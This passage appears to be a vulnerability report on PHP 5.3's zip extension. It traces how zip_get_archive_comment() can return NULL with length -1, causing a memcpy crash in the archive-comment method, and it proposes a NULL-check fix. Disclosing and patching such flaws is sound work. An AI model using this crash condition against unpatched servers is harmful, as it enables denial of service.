this method return string from zip_get_archive_comment() function. Now we need see this function,
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_get_archive_comment.c?revision=284361&view=markup

40 ZIP_EXTERN(const char *)
41 zip_get_archive_comment(struct zip *za, int *lenp, int flags)
42 {
43 if ((flags & ZIP_FL_UNCHANGED)
44 || (za->ch_comment_len == -1)) {
45 if (za->cdir) {
46 if (lenp != NULL)
47 *lenp = za->cdir->comment_len;
48 return za->cdir->comment;
49 }
50 else {
51 if (lenp != NULL)
52 *lenp = -1; <===================== -1
53 return NULL; <==================== NULL
54 }
55 }
56
57 if (lenp != NULL)
58 *lenp = za->ch_comment_len;
59 return za->ch_comment;
60 }

line 52 and 53 should return NULL pointer and (int)-1. In result RETURN_STRINGL() will be executed with:
RETURN_STRINGL(NULL, -1, 1);
and crash in memcpy(3).

Fix:
Replace
1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964 RETURN_STRINGL((char *)comment, (long)comment_len, 1);
to
1963 comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964 if(comment==NULL) RETURN_FALSE;
1965 RETURN_STRINGL((char *)comment, (long)comment_len, 1);
